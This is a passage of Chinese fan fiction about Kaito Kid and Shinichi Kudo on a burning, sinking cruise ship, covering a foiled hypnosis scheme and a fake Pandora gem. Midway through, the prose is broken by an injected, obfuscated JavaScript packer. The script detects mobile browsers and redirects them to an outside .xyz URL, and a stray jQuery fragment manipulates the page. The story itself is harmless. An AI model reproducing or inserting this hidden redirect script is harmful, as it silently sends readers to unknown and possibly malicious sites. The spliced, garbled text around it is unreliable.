夜里海风太盛,将在甲板上伫立回首的黑羽千影的眼底吹得干涩疼痛。她向来讨厌火,可她知道真正被大火的劫难缠身的是黑羽快斗。他曾在火中两度失去了引以为傲的父亲,甚至亲手葬送了自己的过去未来,但是,他远比她想象的更加坚强,永远不会被这些浩劫击溃,无论多少次,都能够提起抗争命运的斗志。 “去吧。”她说,“去完成盗一未能实现的,怪盗Kid最后的逃生魔术。” 投身烈火,然后,浴火重生。 27.File 27 白光吞噬一切之前,侦探极佳的动态视力足以捕捉从视野中一闪而逝的扑克牌面。 ——黑桃A。 十年前的工藤新一从无数次与宿敌交手的经历中发现,每逢关键场合,对方所掷出的王牌总是相同的样式——黑桃A,他似乎将其视作某种制胜法宝,又或许是将其当作幸运的寄托,对黑桃A格外情有独钟。 怪盗浑身上下都是谜题,虽说解谜是侦探的本能,但这谜底说起来大概率与他们的对决毫无关联,比如对方与他相似的容貌、顽皮的本性以及嗜甜的口味。这些答案无关胜负,仅仅是黑羽快斗私人的注脚。 侦探不同于警察,没有维护社会秩序的责任,更没必要将一个对公众无害的国际罪犯送入囚牢。工藤新一心知自己本该如此,但奇异的是,他的行为违背了理性的判断。即使没有任何必须了解这些的动机,工藤新一在私底下却颇为乐此不疲地换着花样猜测宿敌的想法,并将结论留存于心底,权作世上唯一能与之匹敌的对手的小小特权。 魔术师总是热衷于赋予事物多一重的意义,他为什么格外钟情黑桃A? 那张牌对黑羽快斗来说有何特殊之处? 工藤新一心想,若是知晓对方对扑克意义的理解就方便推理了。扑克游戏在西方国家有着悠久历史,但由于各国民俗文化不同,扑克花色的样式和寓意也存在差异。 当然,这充其量只是个聊以消遣的小小谜题,至少对于彼时的他而言便是如此。以侦探那时与怪盗的关系,若直接开口询问,大概率也能得到答案。 但是……工藤新一心想。这未免也太无趣了。 好像自己向那家伙认输了似的。他如此认为。而且,既然推理是自己的私人乐趣,那自然游戏玩得越久越有意思,成功不急于一时。 后来工藤新一在某次事件中遇见了黑羽快斗乔装的无名侦探,他们一同被困于藏宝密室,逃脱的线索是扑克图案,期间倒是阴差阳错地听闻对方主动聊起了这个话题。 黑羽快斗笑说,他觉得扑克的花色可以指代为一个人生命中非常重要的四种东西。 梅花代表知识,红心代表爱情,方块代表财产。 扑克牌自小到大依序排列,从A起始,到K终止,其中骑士牌J、皇后牌Q、国王牌K三角色对这些花色的脸孔朝向分别代表了他们的兴趣趋向: 国王最感兴趣的是财产,喜欢爱情和知识。 皇后对财产、爱情、知识都青睐不已。 年轻的骑士比起代表修养的知识更看重爱情。 然而,唯独最后一种花色却让三位角色都背身相对,避之不及—— 那就是黑桃,代表着死亡之剑。 每个人从诞生起,都注定迎来死亡。无论对其感到抗拒还是将其视作解脱,死亡都不偏不倚、不可撼动,是绝对平等的终结道标。 所有人都无法逃避,也不容轻视。 黑羽快斗将四种花色之首的黑桃视作死亡的象征,是他生命中永远严阵以待的东西。 工藤新一曾为此暗自稀奇,明明那家伙是个太过理想主义的梦想家,总是不负责任地说着一些取悦人心的漂亮话,怎么最中意的偏偏是一张寓意不祥的牌?他本以为,轻浮的怪盗会更青睐红心的浪漫,或者读音与他姓氏相近的梅花。 黑桃对应的死亡太过沉重,剑也带有裁决和审判的概念,不适合与创造奇迹、守护梦想、象征天空的怪盗关联,更像是追逐案件的侦探的标志。 无论答案能否令他满意,这个单方面的解谜游戏还是在紧接着让侦探应接不暇的案件中勉强结束。然后时过境迁,工藤新一所追查的黑衣组织被彻底覆灭。由于贝尔摩得在逃亡前销毁了APTX-4869的所有数据,他身体恢复如初的希望变得渺茫,随后便是灰原哀数度实验之后宣判死刑般的研究结论,以及他不愿认命的勉强选择——就算只有饮鸩止渴的临时解药,他也要成为原本的工藤新一。 大概也是那段时期吧,新闻中有关怪盗的消息也逐步变得稀少。本来他们的相见就不算频繁,工藤新一无暇也不被允许追根究底,他和黑羽快斗都有太多自己不得不去做的事情。 只知道随着蓝鹦鹉酒吧的酒保爷爷悄然过世,黑羽快斗眼中原本明亮的蓝色逐渐变得沉郁冰冷,有些藏在那个家伙性格深处的东西,开始无法遮掩地浮出水面,对这个世界展露锋芒。 然后在工藤新一不知道的地方,黑羽快斗变成了乌鸦。 “可恶……” 视野里的白光猛烈地炸开,毫不留情地吞噬了目所及处的一切。越是临近于生与死之间的微妙界限,没有伴随几乎要习以为常的蚀骨剧痛,工藤新一内心的感情反而开始沸腾,思绪有个极其短暂的瞬间升腾起来,记忆深处涌现出无数个他与黑羽快斗的夜晚。 他们曾经作为全世界最理解彼此的镜像,在亿万人中绝无仅有的棋逢对手,不需要解释任何理由,就拥有不言而喻、惺惺相惜的默契,可以毫无保留地并肩作战。 可惜这个世界不是少年漫画,无法迎来皆大欢喜的理想结局。他们赖以为生的土地上永远会生长出新的罪恶,侦探无法面面俱到地贯彻正义,怪盗也做不到一个魔术就将邪恶扫荡干净。 世事从不如人意,过刚易折,慧极必伤,于是人们学会妥协,在命运的夹缝中择路而行。 过去黑羽快斗的黑桃A是提醒他自己不要触碰禁区的警示,作为怪盗的他,珍视所有人的生命,按照自己的信念行侠仗义,恣意妄为却从不害人性命。 但如今身为乌鸦的他却亲手拔出了这把死亡之剑,哪怕自己同样遍体鳞伤,也怀着不死不休的决心,策划了无数完美犯罪,不择手段地摧毁敌人的意志。 但是,直到最后工藤新一也没有妥协。 如非彼此身具旗鼓相当的智谋,相互都无可奈何,他绝对会让对方屈服于自己的意志,他们都是这种以自我为中心的人。 他毫不动摇地凝视前方。 视网膜上依稀烙印出扑克牌的印记,不可思议的是,他的内心毫无恐惧。就算从未有过约定,但对方是那个使用了黑桃A来一决胜负的黑羽快斗的话,他并不介意用自己的一切来与他作赌。 浓烟滚滚,连接卫星通信的摄影机在撤离时不慎被人挤落到地上,镜头前一片晃动不休的碎片狼藉,火焰越烧越烈,直让此刻鞭长莫及的数百海里外,无数观看直播的人们都为急转直下的情势错愕不已。 然后一双白色皮鞋踏过废墟,披风的一角轻轻拂过镜头。 就在众人以为事态会出现某种转机之时,玻璃门被打开,火舌张牙舞爪地汹涌喷出,缠上了洁白的披风,也吞没了转播的画面。 目所及处的一切都染上火色,在高温膨胀的空气中变得虚幻而扭曲,精密的摄像仪器坚持不过两秒,模糊画面中显现着怪盗踏入火海的最后一刻,与现场还未远去的逃生者们一同见证了对方这自寻死路的荒谬瞬间,随后彻底损坏,转播现场变作一片失联的黑白雪花。 幕后密切关注此事的某些大人物当即面色阴沉,沉默良久,才去吩咐手下务必第一时间拿到莎莉贝丝皇后号生存者的名单。 那个屡次三番阻挠他们永生大梦的怪盗怕不是疯了……竟是打算要与潘多拉一起埋葬于大洋渊底。 随着船员开始撤离,邮轮逐渐停止航行。 如果从上方俯瞰海面,能看到在海波之上的莎莉贝丝皇后号如同沉睡般的样子。 船上的一切被宴会灯光照得恍如白昼,长梯空旷地向高处延伸,各处场所都随着宾客离开变得寂静。原本隐秘性极强的红木雕花大门随意地洞开,古典音乐厅、时髦的艺术沙龙、名酒罗列的酒吧、流出温泉的私人浴场、争奇斗艳的空中花园,都像是突然被抛入一个渺无人踪的异空间,人去楼空,到处流窜着喧嚣的海风。 时间并未静止,有个临窗的吧台被留下了一个鸡尾酒的杯子,融化的冰块相互滚动碰撞,发出喀啦的声响。 孤身一人的毛利兰撞开顶层套房的屋门,“园子!”她轻喊一声,看见站在室内的灰原哀时怔了下,目光从她惊魂未定的脸庞移向那双心虚躲闪的眼睛,什么也没说,走上前去牵住了她的手腕。 灰原哀知道毛利兰的本意是为了搭救她的挚友,想到自己总是害得毛利兰与她所爱的人错过,积攒了十年的愧疚顷刻爆发,不禁咬住下唇,自暴自弃地狠声道:“放开!你该救的人不在这里。” “但我现在还来得及救你。”迎视她的女子带着矢志不移的坚韧语气回答说。 濒死的邮轮投下庞大而恐怖的黑影,让夜晚的海面比往常更加深沉。 没有人再敢耽搁,救生艇一个接一个落在海面,人群不安的窃窃私语都被海浪的声音所淹没,从远看去,这幅图景既显得笨拙渺小,却又顽强不屈。 邮轮逐渐下沉,地面开始剧烈摇晃。 富丽堂皇的展厅已然化成废墟,无人得见的火焰深处,黑羽快斗随手揭开被火焰燎烧的披风,踏上烟雾弥漫的展台,垂眼凝视着雾气中倒在地上的工藤新一。 奇异的是,众人亲眼目睹了被吞噬于火海的侦探周身却完好无损,修长手指无力地弯曲,勾着一条华光璀璨的项链。 怪盗连一丝眼神都未分给那颗被他精心谋划的宝石,单膝跪地,半抱起工藤新一的身体,手掌托住侦探的后颈。 前额的发丝在他低头的时候落在宿敌的额头上。 视线仿佛被囚困于只有彼此的狭窄世界。 “名侦探,听我说——” 他垂下眼睫,声音轻得仿佛情人间最亲昵的耳语。 另一手的掌心覆在工藤新一握着宝石的手背上,指尖轻轻地陷进指缝,与他十指相扣。 大概只有此刻,他才能够放任自己流露出太过暴露真心的眼神。 从电视影像中看见工藤新一不再变化的容颜,从洞察了灰原哀所研制的APTX-4869解药背后的真相起,黑羽快斗眼中的他就如同被锁链绑缚在血肉牢笼的囚徒,被愚昧信徒献祭给虚无神祇的圣子。 为了社会公众的利益,夜以继日地忍受敲骨取髓般的苦痛,却不得不为了保守容颜不老的秘密,逐渐疏远身边的人们,然后孤身一人走向末路。 不应该这样。 这个世界虽然并不美好,却并非只有名侦探工藤新一才有能耐拨乱反正。世上没有任何一种正义值得以这般惨烈悲壮、将一个人生生啃噬干净的代价才能交换。 倘若是有,那就不是黑羽快斗认可的正义。 倘若是有,那就由他来亲手摧毁这份正义。 ——既然命运选择了让你唤醒早已恶贯满盈的我,那就是容许我再一次犯下滔天大罪,杀死这个世界的救世主吧。 黑羽快斗缓缓收紧了握住他的手指。 黑羽千影教给他的催眠手段,能够封锁一个人过去的记忆,黑羽快斗曾用这个方法埋葬身为乌鸦的自己,也成功封锁了灰原哀再一次给他提供临时解药的可能性。 而在此刻,他要为了抹去“工藤新一”这个存在,最后一次编造谎言。 “从现在起,忘记你身为工藤新一的一切。” 不再是工藤新一也没有关系,因为你永远都是你,无论身份,无论过往。 是全天下最伟大的侦探,是他所钟情的人。 “忘记那些束缚了你的自由的过去,”他叹息地说着,“忘记你与我曾邂逅和对决的过去。” 将一切都忘记也无妨,只要有一个人记得那些月下的浪漫故事便足够了。 所有的制约必须设定解开条件,才能规避潜意识觉察到违和感,当然这点黑羽快斗早已做好了准备。 “解开暗示的条件是——我的死亡。” 永生不老的怪盗,永世不破的谎言,这不是完美无缺的犯罪企划么? 这回就算是你也无从破局了吧。黑羽快斗露出一个自满又感伤的笑容,缓缓地、不舍地松开握住工藤新一的手指。 下一次的初遇,我该用什么样的魔术来让你大吃一惊呢? 他在起身的瞬间,瞳仁聚焦在远处的虚空中,像是在凝望着一个经年难追的旧梦,纵然心中早已无望,仍是情不自禁地想去追寻。 ——却被反手扣住了手腕。 “我拒绝。” 本该昏迷的工藤新一睁开蔚蓝色的眼睛,神情理智冷静,眼神清明强硬。 从二人指间松落的宝石坠落下去,闪亮的切面在地面不断滚动,轮转映照出侦探与怪盗极度相似又神采各异的锐利眼睛。 “就算是你的好意,黑羽快斗,我也不愿意活在充斥谎言的虚假人生里。”他说,薄唇微抿,“我拥有真实的爱,以及引以为豪的人生经历,哪怕存在代价,也不会后悔自己做过的选择。” “你……”怔住的人下意识拧眉,随后小声吐槽了句,真是笨蛋。 黑羽快斗注意到他另一只没有拿宝石的手在起身的时候微微松开,露出掌心里握着的什么东西,眼睛微眯了眯。 是便携式氧气管。 工藤新一没有昏迷,而且看破了他的手法? 对方仿佛能读出他的想法,也在同时说:“听你说起宝石传闻的时候,我就觉得非常奇怪,一切都太过巧合了,钥匙和金库同时出现,而且正好在彗星降临的这一年。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687242|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,这不是最巧合的地方。 最巧合的是工藤新一此前与乌鸦频繁交手,二人的争斗攻防已然趋于白热化的阶段,侦探依据线索追踪他的行踪到公墓,却在那里遇见了17岁的黑羽快斗。 对他一无所知的黑羽快斗,却打乱了工藤新一理性思维主导的步调。 转移注意。将他的视线,从乌鸦,改变到潘多拉上。 如今细想起来,乌鸦鲜少对大宝石表现出插手的兴趣,但刚刚接手怪盗身份的黑羽快斗却截然不同,后者对潘多拉有着强烈的、势在必得的争夺动机。既然他们实际就是相同个体,其中必然存在某种隐情。 比如说,乌鸦已经得到了他想要的宝石。 但这与他利用变色龙等人大费周折寻找潘多拉的行为就存在矛盾。 除非,谋取宝石是假,他是打算通过这一系列的行动,达成其他某种目的。 17岁的黑羽快斗也对他本人的想法一头雾水,工藤新一只能顺着他的布置抽丝剥茧,猜测他或许打算在世人面前彻底抹除与潘多拉有关的一切,或是杀死那个背负罪孽、不再天真的自我,或者是二者兼有。 到最后答案才揭晓,原来这场杀人游戏,目的是杀死工藤新一。 “你才是笨蛋。”他轻轻驳斥对方的抱怨。 居然用尽心机……做这么多余的事情。 工藤新一的睫毛垂下,用嘲笑的语气说:“既然将宝石存入金库的人是深受英式文化影响的香港商人,怎么会在解谜的钥匙上使用法语谜题啊。” 谜面是clair de lune,意为月光,谜底是mon inconnue,意为未知,作为谜底的同时又仿佛再一次提出疑问,简直像有一个谜语人在层出不穷地蓄意刁难。 一看就是出自不同人的手笔。 所以保险箱早就被人开启过。手指摸到内部陈旧的英文字迹时,这个结论也同时浮现于工藤新一的心底。 “你早已提前潜入过金库,然后改造了保险箱,将内部的□□替换成震撼弹和催眠瓦斯。”侦探说,“为了启动这个机关,你用扑克破坏了保护装置,当时若是距离最近的我没有准备,就会立即失去抵抗能力。” 对方的计策一旦得逞,他就会忘记所有,被迫脱离原来的人生和命运。 “确实如此。” 黑羽快斗盯着工藤新一,眼睛深处不甚分明地闪动着什么东西。 他轻轻地笑了下,算是承认了工藤新一的判断。 “凭我使用的浓度,连一头大象都会在2秒内倒下。” 但工藤新一却平安无事,说明他没有被伪装成爆炸的强光和尖啸声唬住,而是在陷入浓雾的第一时间使用阿笠博士研发的便携氧气管维持呼吸,直到后来气体散去,黑羽快斗自投罗网,他才藏起道具,佯装成昏迷的样子。 将计就计的关键在于他利用了怪盗的魔术。 工藤新一收紧手指,黑羽快斗勾唇一笑,任由对方将他的手臂反扣到后背。 他将满不在乎的目光投向一侧,眼前是能让外面人们大吃一惊的景象。因为身在外面人们从向里看来,展柜内的空间应该全然被火焰填满,而身处内部的他们向外看去,玻璃墙壁之外同样被火焰所彻底包围。 “这个玻璃展柜,形状并不是标准的圆柱形,而是由一个半圆和一个半椭圆的玻璃拼合而成,并且,两种形状的玻璃都是可拆分的双层结构。” 侦探语气平稳地道出个中玄机。 由于玻璃围墙高得离谱,连高层的宾客都无法从上方俯瞰圆柱底面的形状,大厅的宾客几乎不可能通过肉眼看出展柜的特殊之处,因此便构成了最初的错误认知。 这个设计给人形成了错觉之一:玻璃展柜是标准的圆柱形。 当时工藤新一在众目睽睽之下走进展柜内部取得了宝石,虽然极高的玻璃墙壁限制了怪盗飞行闯入,也能够防范前几天出现的停电枪杀事件,却也创造了一个难以逃生的透明牢笼。 黑羽快斗的扑克启动了震撼弹和催眠瓦斯,震撼弹的爆炸不会形成具有杀伤力的弹片和冲击波,却能立即带来不亚于炸弹的强光和响声。 这样的现象很容易让人误解身处展柜中心的人已在爆炸中尸骨无存,而且高浓度的催眠烟雾也能够遮挡住他人的视野。 于是虚张声势地形成了错觉之二:怪盗利用保险箱内的□□将工藤新一与宝石一同毁灭。 第三点则是最关键的障眼法,震撼弹爆炸的同时,强光强声会让所有人都注意不到展柜玻璃位移的响动。由于半圆和半椭圆的玻璃都是可拆分的双层结构,而且半椭圆的形状比半圆更小一些,此时半圆的外层移动到半椭圆的外层之外,半椭圆的内层移动到了半圆的内层之内,展柜就会形成外圈是正圆而内圈是椭圆的双层结构。 这个时候,只要利用地面的起火装置在两层玻璃之间制造大量的火焰和浓烟,就会形成一道圆环形的火墙,让人以为展柜之内已被烈火充斥。 依此形成错觉之三:让人误以为两层玻璃夹缝间的大火完全充斥于展柜内部。 魔术就是一种利用先入感去欺骗观众的技巧,加上面临漏水沉船的生命威胁,慌乱的人们几乎不可能冷静洞察这个魔术的破绽。 但黑羽快斗没有想到,工藤新一面对他袭来的扑克,只生死一瞬间就看破了他的手法,不仅使用氧气管躲过了催眠瓦斯的袭击,还同样利用双层玻璃的遮掩,隐瞒了自己平安无事的事实。 要知道催眠这种手段,只有在一个人精神毫无抵抗的前提下才能使用。 虽说利用暴力手段强行压制侦探屈服也不失为一种办法,但这玷污了自己与他的对决,怪盗不屑为之。 想到这里睫毛颤了颤,黑羽快斗状若不经意地低下眼。 便携氧气管这种东西……通常是为了潜水行动才准备的。 巧合?未雨绸缪?还是早有预料? 真有意思。他永远会为工藤新一能把自己的谜题破解到哪个程度感到好奇。 黑羽快斗的对手此刻却在意着另一个问题。 “收下他人赠予的钥匙,承接这次远洋航行的任务,还有船上玻璃展柜的布置——全都是铃木园子的手笔。”工藤新一拧起眉头,语带不解,“你跟她做了什么交易?她凭什么不顾一切地帮你?” “你问这个啊……” 黑羽快斗闭目笑了笑。 “我有想要杀死的人,你有想要阻止的人,她有想要帮助的人……虽然心愿的方向各有异同,甚至背道而驰,但归根结底,都是努力以自己的方式去寻找一个不会后悔的结局,仅此而已。” 28.File 28 很久以前,警方为怪盗所做的犯罪侧写便给其贴上了完美主义者的标签:只要发出了预告就必然做到,无论谜题被解开还是在行动中遭遇阻碍,他总能够发挥出天才水准的随机应变来突破重围,然后准时准点地在公众面前闪亮登场。 看似完美的演出自然代表着背后事无巨细的筹划,这份总能比常人更多想一步的卓越头脑和未雨绸缪的习惯无数次协助怪盗在剑走偏锋的冒险中力挽狂澜,也展现出他与工藤新一风格迥异却同样出色的预判能力,怪盗像是总能够未卜先知,准备万全。 实则踏出的每一步都堆砌在无数推演和算计之上,如同两名国手在棋盘上的厮杀,用自己的智力筑起一道通天高墙,把自己和对手隔绝在世界之外。 只有巅峰相遇的彼此才能够读懂对方。 外人透过高墙的缝隙向其中望去,只能看到一些浮光掠影。 这就是铃木园子对那宿敌二人的看法。 至于如同传说化身的怪盗究竟想做什么,又是因何神隐已久,此类疑问从来不是属于芸芸众生的她能够破解的难题。铃木园子向往过Kid的潇洒魅力,却也不会故意难为自己对月亮的故事追根寻底,人生苦短,重要的是抓住自己触手可及的幸福。 奈何她还有一位固执己见的青梅竹马。 分明早已陷进泥沼,却因为对承受痛苦习以为常,放弃了自救。 她想要伸出援手,却无计可施。 黑羽快斗在她面前出现的时候,告诉了铃木园子一个匪夷所思的秘密。年轻人将真容藏匿在斗篷里的样子很可疑,但对方话语中提及的那些信息,又无疑是亲历者才知晓的过去。 那份怪盗式大胆的煽动力,以及无所不能般自信笃定的气质,让她不由自主地想再相信一次。 不破不立,那就赌一把。 长风破浪,海上保安厅的舰船正极速前进。铃木园子站在甲板的最前方,耳畔的卷发被风吹得更加凌乱。 “我记得以前换成这个发型时就被人袭击过。”她嘀咕一声,“还好这回只烫了个一次性的……”就算是一贯不信邪如她,倒霉事遇得多了也容易迷信。 护卫的海警却远没有她那么平静,拿起无线电接到船长室的消息就大惊失色,对她道:“铃木女士,我们接到来自莎莉贝丝皇后号的求救信号,他们遭遇了炸弹袭击,多个密封舱破裂进水,已经回天乏术,无法挽回沉船的结局。还好您苏醒后坚持返航,现在我们碰巧是距离他们最近的救援船,大概能在两个小时之内抵达邮轮所在的位置。” 这不是碰巧。铃木园子苦笑。她的昏迷时长、醒来后的第一反应和行动,很显然都在那人的计划之内。刚好赶不上晚宴,又刚好赶得上救援,真是恰到好处的安排。 海警误解了她的神情,十分同情:“可惜了那艘豪华邮轮,我看过广告宣传片,一定价值不菲吧。” “还好吧,造价十亿美金。” “十亿?美金?!”海警震撼得快要破音。 “旧的不去,新的不来,别那么大惊小怪。”铃木财阀的掌门人平静地说,“没必要惋惜已经失去的东西,那只会让你失去更多。” 后来听闻怪盗与侦探共赴火海的消息,她的表情也没有太大的变化。无论是那个神出鬼没的黑袍少年,还是坚定不移的工藤新一,二人身上都不存在自甘堕落的气息,这种顽强不屈的家伙最是命硬。 所以将目光投向天际的铃木园子只想祈祷,希望此役以后,所有人都能够摆脱过往的悲伤,抓住属于自己的未来,还有神仙打架别再殃及凡人了。 “啊,彗星要来了,快许愿。” 船上的电力系统随着线路进水停止了工作,会场灯光全暗,火焰装置逐渐平息,积水已经上灌到极度危险的程度,地面开始倾斜,需要竭尽腰腿的力量才能保持身体的平衡。 海浪的声音携着深邃的夜晚围拢感官,过了两三秒,备用电源启动,展厅四周亮起一圈驱逐黑暗的壁灯,指向最后的逃生通路。 黑羽快斗这时忽然看向玻璃围墙之外巨大的观景窗户,转移视线的手段太过拙劣,工藤新一皱起眉头,被密闭空间里越加稀薄的氧气激起轻微的怒气。 侦探本不愿配合他漏洞百出的演出,却猝不及防被天幕逐渐铺展开的华彩夺去了注意。 是万年一遇的宝雷彗星,终于经过地球,滑进人眼可观测的距离了。 对方没有错过他心神松懈的那个瞬间,侦探只觉掌心忽然一沉,衣袖下方的触感变化,柔软紧实的手臂变得冰冷坚硬。 雕虫小技。工藤新一切了一声,松开魔术师偷梁换柱的道具。 黑羽快斗趁机踏上藏在地砖的隐藏机关,伴随一声震鸣,环绕他们的玻璃围墙应声粉碎。 轰响的洪流吞没了听觉,倾泻而下的玻璃碎折射着微光,朦胧勾勒出怪盗脸上势在必得的漂亮笑容,他举起扑克枪射击,弹起地上的宝石项链,抛物线的落点正位于对方抬起的手心。 侦探瞬间洞悉了他的手法。 玻璃碎裂是利用了共振装置,哪怕是具备防弹功能的硬化玻璃,只要对其施加与材质固有频率相同的震动,就会导致物质本身的大幅震荡继而被损坏。 显然这是黑羽快斗为脱身留的后手。 但是,你没法得逞。 石膏假手将要落地的那一瞬间,被工藤新一踢了出去。 许久不用的杀手锏,一往无前的威力却不减当年,以摧枯拉朽的强势撕开空气。下坠中的项链远不及凶器袭来的速度,让黑羽快斗不得不侧身闪避。 一阵劲风吹乱了怪盗的发梢,也让本该被他低空接住的宝石被弹高了数十厘米。 彗星照亮天空,奇异的亮光穿过窗户,宝石在飞到最高点的滞空一刻对准夜幕,异光完全贯穿透明核心。 在这一刻的黑羽快斗却对他筹谋已久的宝石置之不顾。 他倏然转头,灼灼目光没有看向别处,而是投向了专注凝望宝石的工藤新一,深绿色的异光将他面无表情的侧脸轮廓照得分外冷峻。 在被他盯住的蔚蓝色眼眸之中,宝石的火彩流转着璀璨的光芒,却不见丝毫异象。 “果然,这不是潘多拉。” “这样就是了。” 魔法显灵,宝石下落的瞬间,一点红芒从中心炸开,独特的切割方式将红光毫无折损地释放出最大的光彩,犹如一轮死而复生的夕阳。 但太阳不可能在黑夜出现,不可能驱逐不了围困他们的黑夜。 工藤新一立即反应过来,看向施展诡计的黑羽快斗,只见对方重新接住宝石项链,幽冷的表情悄然消失不见,唇角从容地上挑,扬起再度扳回一城的得意笑容。 怪盗轻巧地摇了摇左手,让侦探看见自己食指和中指间的道具。 激光笔,还是迷你的。 又是简单的原理,却因表演的人手法精湛,又太过擅长把握时机,竟使人一时被他精妙的演出所糊弄了过去。 这人真是……十年如一日的擅长耍小聪明。成年的侦探冷笑一声,面上的不快表情能让不熟悉他的人噤若寒蝉。 然而工藤新一心里却一阵怀念。 这般只为骗人而花招不断的怪盗,和步步杀机的乌鸦截然不同。为了实现自身注定非同凡响的心愿,他们行走于时代的光暗两侧,承受了远比常人更加残酷的生长痛才彻底成长成人。可在这一刻,他们又好像再一次返老还童,回到曾经最美好的过去,相会于毫无阴霾的月下,不必多言就能够心意相通。 此时正如曾经。 黑羽快斗运用视觉效应伪装出一个与传言相符的潘多拉宝石,将觊觎者的视线都吸引到他所打造的万花筒中,结果就是那些人被欺骗和被诱捕,直面百年野望一夕破灭的现实。 尽管得到答案,工藤新一的眉头却是松开又皱起,表情复杂得仿佛遇见的不是个简易的障眼法,而是一个棘手的难题。 他深知,要将一个假冒品天衣无缝地伪装成真品,绝非易事。 无论是乌鸦事先散布的民间传闻、钥匙机关、对组织的安排以及利用了怪盗影响力的一系列暗中布局……都不是关键。要让真相不再重要,骗局永远不会被人揭穿,只有一个方法。 那就是,潘多拉已经彻底不存于世。 迎着侦探愈加苛刻的审视,白手套的怪盗先生故意放缓了收拢手心的动作,左边是激光笔,右边是宝石,都用长及掌根的手指轻轻盖住,双手抓握收紧然后摊开,将空空如也的手心向他展示。 当然这不是重点。 重点是,眼前这个热爱变魔术的高礼帽混账……无论怎么看,都与工藤新一初见他时的模样别无二致。 不是三十岁,不是二十岁,而是个十几岁的少年。 APTX-4869的解药未能改变他的身体状态,不是返老还童,而是十几载的光阴流逝都无法让他出现变化,真正的不老不衰,宛如传说中潘多拉的奇迹。 “你认真的?” “当然。” 无论世上任何人身在此处,都不会知晓侦探和怪盗短暂的眼神交流中究竟交换了什么秘密。 开启宝藏的其他途径都已被悉数毁去,如今……掌握真相的只剩下了永世宿敌的他和他,如同长久以来天各一方却相互契合的半枚钥匙,和一个早已被知晓谜底的潘多拉盒子。 ——至于真正的宝石究竟所在何处? 或许就在对方手中。 或许已经被他秘密销毁。 或许被这家伙藏匿到再也不会被任何人找到的地方。 工藤新一选择了不再追问,因为黑羽快斗不容置疑的笑容已经代表了答案。 那颗诞生于无数罪恶实验中的魔石,带来无数灾厄纷争的潘多拉,无数次伤害了黑羽快斗至亲至爱的人们的悲剧源泉—— 他不会容许他人揭开这个秘密。 彼时莎莉贝丝皇后号灯光骤熄的船外,已经坐在救生艇上的乘客们在同一时刻陷入了寂静。他们仰头注视着那座不久前还富丽堂皇得宛如一座宫殿,甚至被誉为海上都市的豪华邮轮,失去光源的瞬间像是雾气散去的海市蜃楼,从世外桃源变成通往冥府的地狱之船,如此急转直下的情形让一众身份不凡的名人也说不出话来。 “应该是动力室的障壁被爆炸摧毁,导致设备大量进水。” 后来面对记者关于沉船事件的采访,莎莉贝丝皇后号的船长回答说:“邮轮沉没的海域位于板块边界,海下存在多处极深的海沟,没有办法打捞调查。动力室是偶然被别处的爆炸所牵连,还是有人故意安装了炸弹,这两种嫌疑都无法被排除。若是后者,那袭击者一定非常了解莎莉贝丝皇后号的构造,而且决心要让这艘船在最短的时间彻底沉没。” 然而在那个风平浪静的夜晚,他们对死里逃生的感知却并不鲜明,万里无云的夜空如此明净,映照得海浪起伏的大海看起来仿佛一潭微风拂过的湖泊……从爆炸到撤离的过程紧迫得让众人无暇思考太多,回过神时,很多人依旧无法对眼前的危机产生身临其境的感觉,好像他们还躺在客房柔软如云的床上,做着一个即将醒来的梦。 直到明亮的灯光消失,黑夜包围上来,他们终于毛骨悚然地注意到耳畔的涛声早已近在咫尺,藏在光下的阴影深处,大量海水正疯狂地灌进船身的破损洞口,那如同是无数只流动的手臂,正向下拽动着这艘漂浮于海上的、即将沉没的巨船。 所幸中森警官对当下形势做出了最正确的判断,在听闻爆炸消息时当机立断地组织人员撤离。 来到甲板的人们往下看去,救生艇正缓慢有序地从阴影中滑向月光所及的澄亮海面。 四面八方都是流水的声音,犹如死神逐渐迫近的脚步。警员没有一人率先逃离,协助船员们放下一艘又一艘的救生艇,心里敬佩上司的未雨绸缪,特别提示了让他们在晚宴时把守救生艇以防怪盗逃走,这才让他们在引导众人逃生时得以用最快的速度做好安排。 同样守在现场维持秩序的警官脸孔却未见得意之色,始终是一副凝重的表情,因为他心知怪盗才是提前引导那些警员做好准备的人,而他也只是太过了解那位对手从来不会毫无意义地暴露破绽,才会意识到境况凶险,按照对方的安排顺势而为。 “若让我将难以捉摸的罪犯列个排行,榜首非那个怪盗莫属。” 此次事件的结束以后,中森银三得到了来自警察厅上级的光荣表彰、社会各界的热烈赞誉以及同程乘客们的真心感激,但这位功勋深厚的警官没有就此升职加薪、平步青云,而是主动选择了隐退。 后来又过了很多年,他老得手指都快要握不住笔,有一天在自己的回忆录中书写:“身为违法乱纪的盗贼,行事却颇有侠义风范。他蔑视法纪,随心所欲,亦正亦邪,敬佩他的人简直和厌恶他的人一样多。逮捕他一直是我的执念,毕竟那个家伙是践踏了我们警察信仰的混账。” 但是—— 笔尖在此停顿许久,连颤抖也消失不见,于是又过了数十年,力透纸背的顽固字迹被年轻人柔软修长的手指轻轻翻开。 他一直以自己的方式贯彻他的正义。 从不背叛热爱他的观众。 他也从不掩饰他的自私与邪恶。 目空一切、不择手段,对他真正的目标志在必得。 “我有多讨厌他,就有多欣赏他。 “这样的人最后会拖着被誉为救世主的侦探小子一起葬身海底吗?我到死都不相信。 “岁月不老,时间长流,他们一定还在世界的某个角落,以最给人添麻烦的方式最自由地活着。” 莎莉贝丝皇后号离港时登记在案的乘客有276名,船员322名,扣除途中死亡1名伪装成船员且来路不明的刺客,后来被全世界目睹了死亡瞬间的工藤新一,最终顺利返程的共有275名乘客,以及321名船员。 由于离岸和上岸都采取了极为严格的身份检查,而且Kid出手的时机集中于航程后期,警方据此判断,他应该利用了海上保安厅登船的机会中途潜入莎莉贝丝皇后号,避开了港口检查,不计入船上人数统计。 